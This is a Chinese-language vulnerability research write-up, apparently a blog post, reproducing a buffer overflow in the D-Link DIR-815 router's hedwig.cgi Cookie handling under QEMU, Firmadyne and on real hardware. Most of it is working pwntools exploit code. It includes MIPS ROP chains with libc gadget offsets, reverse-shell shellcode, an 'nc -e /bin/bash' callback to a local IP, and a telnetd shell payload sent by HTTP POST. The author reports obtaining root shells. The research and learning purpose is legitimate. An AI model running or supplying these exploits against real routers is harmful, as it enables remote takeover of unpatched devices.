#!/usr/bin/python2 from pwn import * context.endian = "little" context.arch = "mips" shellcode = "" shellcode += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01" shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24" shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20" #shellcode += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177:31337 shellcode += "\xf8\xff\xa5\xaf\x4f\x91\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.79.145 shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf" shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28" shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23" shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28" shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01" libc_base = 0x77f34000 sleep = 0x56BD0 #sleep jr ra 0x7678edf4 gadget1 = 0x57E50 gadget2 = 0x3B8A8 gadget3 = 0x14F28 gadget4 = 0x1DD08#0x15C84#0xBB44 payload = 'A' * 973 #1009-9*4 payload += 'A' * 4 # s0 payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2 payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24) payload += 'A' * 4 # s3 payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode payload += 'A' * 4 # s5 payload += 'A' * 4 # s6 payload += 'A' * 4 # s7 payload += 'A' * 4 # fp payload += p32(libc_base + gadget1) # ra = mipsrop.find("li $a0,1") && jr s1 payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4 payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding payload += shellcode f = open("exploit2",'wb+') f.write(payload) f.close()
生成的exploit2通过scp拷贝到mips虚拟机中并且nano debug.sh
更改debug.sh运行得到shell。
其实现在mips虚拟机相当于一个开启了部分web服务的DIR815路由器,可以通过发送构造好的http报文获取shell。
利用system函数
#!/usr/bin/python from pwn import * context.endian = "little" context.arch = "mips" import requests import sys def get_payload(offset, libc_base, cmd): gadget1 = 0x45988 gadget2 = 0x159cc system_addr_1 = 0x53200-1 payload = 'A' * offset payload += p32(libc_base + system_addr_1) # s0 payload += p32(libc_base + gadget2) # s1 payload += 'A' * 4 # s2 payload += 'A' * 4 # s3 payload += 'A' * 4 # s4 payload += 'A' * 4 # s5 payload += 'A' * 4 # s6 payload += 'A' * 4 # s7 payload += 'A' * 4 # fp payload += p32(libc_base + gadget1) # ra payload += 'B' * 0x10 payload += cmd return payload if __name__=="__main__": cmd = "nc -e /bin/bash 192.168.79.145 9999" cookie='uid=' + get_payload(973, 0x77f34000, cmd) header = { 'Cookie' : cookie, 'Content-Type' : 'application/x-www-form-urlencoded', 'Content-Length': '100' } data = {'uid':'1234'} ip_port=sys.argv[1] url="http://"+ip_port+"/hedwig.cgi" r=requests.post(url=url,headers=header,data=data) print r.text
测试结果:获取shell
利用sleep调用shellcode(反弹shell)
def get_payload(offset, libc_base): shellcode = "" shellcode += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01" shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24" shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20" #shellcode += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177:31337 shellcode += "\xf8\xff\xa5\xaf\x4f\x91\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.79.145 shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf" shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28" shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23" shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28" shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01" sleep = 0x56BD0 #sleep jr ra 0x7678edf4 gadget1 = 0x57E50 gadget2 = 0x3B8A8 gadget3 = 0x14F28 gadget4 = 0x1DD08#0x15C84#0xBB44 payload = 'A' * offset #1009-9*4 payload += 'A' * 4 # s0 payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2 payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24) payload += 'A' * 4 # s3 payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode payload += 'A' * 4 # s5 payload += 'A' * 4 # s6 payload += 'A' * 4 # s7 payload += 'A' * 4 # fp payload += p32(libc_base + gadget1) # ra = mipsrop.find("li $a0,1") && jr s1 payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4 payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding payload += shellcode return payload
测试结果:获取shell
Firmadyne的安装过程这里就不再继续介绍,这里是用它来测试,能够启动起来。并且访问firmadyne给其分配的默认web接口192.168.0.1。
nmap扫描查看开放的端口,目前3各端口分别对应dns53,http80,upnp49152。
Starting Nmap 7.01 ( https://nmap.org ) at 2020-05-24 16:21 CST Nmap scan report for 192.168.0.1 Host is up (0.00041s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 53/tcp open domain dnsmasq 2.45 80/tcp open http D-Link DIR-815 WAP http config 1.01 49152/tcp open upnp D-Link DIR-815 WAP UPnP 1.01 (UPnP 1.0) MAC Address: 52:54:00:12:34:58 (QEMU virtual NIC) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6.32 OS details: Linux 2.6.32 Network Distance: 1 hop Service Info: OS: Linux; Device: WAP; CPE: cpe:/h:dlink:dir-815:1.01, cpe:/o:linux:linux_kernel, cpe:/h:d-link:dir-815
构造exp进行测试
其实这里需要跟之前qemu系统模式一样,上传gdbsever进行调试确定偏移和libc基地址。这里直接利用师傅帖子中的代码进行测试。这里的基地址是根据firmadyne中用linux内核版本为2.6.32,别的帖子中测试的基地址为0x2aaf8000,并且metasploit里面的payload写到:路由器环境中基地址为0x2aaf8000,qemu环境为0x40854000。两个可以都试试!
[ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600', { 'Offset' => 973, 'LibcBase' => 0x2aaf8000, # Router #'LibcBase' => 0x40854000, # QEMU environment 'System' => 0x000531FF, # address of system 'CalcSystem' => 0x000158C8, # calculate the correct address of system 'CallSystem' => 0x000159CC, # call our system } ]
下面编写exp进行测试,利用system函数进行测试。
#!/usr/bin/python from pwn import * context.endian = "little" context.arch = "mips" import requests import sys def get_payload(offset, libc_base, cmd): gadget1 = 0x45988 gadget2 = 0x159cc system_addr_1 = 0x53200-1 payload = 'A' * offset payload += p32(libc_base + system_addr_1) # s0 payload += p32(libc_base + gadget2) # s1 payload += 'A' * 4 # s2 payload += 'A' * 4 # s3 payload += 'A' * 4 # s4 payload += 'A' * 4 # s5 payload += 'A' * 4 # s6 payload += 'A' * 4 # s7 payload += 'A' * 4 # fp payload += p32(libc_base + gadget1) # ra payload += 'B' * 0x10 payload += cmd return payload if __name__=="__main__": #cmd = "nc -e /bin/bash 192.168.79.145 9999" cmd = 'telnetd -p 222 -l /bin/sh' cookie='uid=' + get_payload(973, 0x2aaf8000, cmd) header = { 'Cookie' : cookie, 'Content-Type' : 'application/x-www-form-urlencoded', 'Content-Length': '100' } data = {'uid':'1234'} ip_port=sys.argv[1] url="http://"+ip_port+"/hedwig.cgi" r=requests.post(url=url,headers=header,data=data) print r.text
测试结果显示能够执行telnetd -p 222 -l /bin/sh
。telnet 上去对应的窗口直接反弹shell。
在实体机上刷上1.01的版本,用system方法的exp同样能得到获取shell。
终于大概的分析完了,因为太菜的原因整个过程其实遇到了不少的坑,从最开始死活到不了第二个sprintf,到后面的qemu系统模式修改http配置文件都起不来http服务,还有shellcode的修改等等问题都可能卡好久,最后解决的时候才知道并不是太难的问题。。。还是太菜了!整个流程完全自己复现一遍并且能够清楚地讲出来,其实个人感觉还是有收获的,比如路由器缓冲区溢出漏洞的分析调试详细流程,gdb、IDA、Ghidra等工具联调使用,以及该libc的万能gadget等。
感谢H4lo大佬不厌其烦地回答我分析调试过程中遇到的问题!坚持学习不断追赶!
IOT设备漏洞挖掘从入门到入门(二)- DLink Dir 815漏洞分析及三种方式模拟复现
Building MIPS Environment for Router && PWN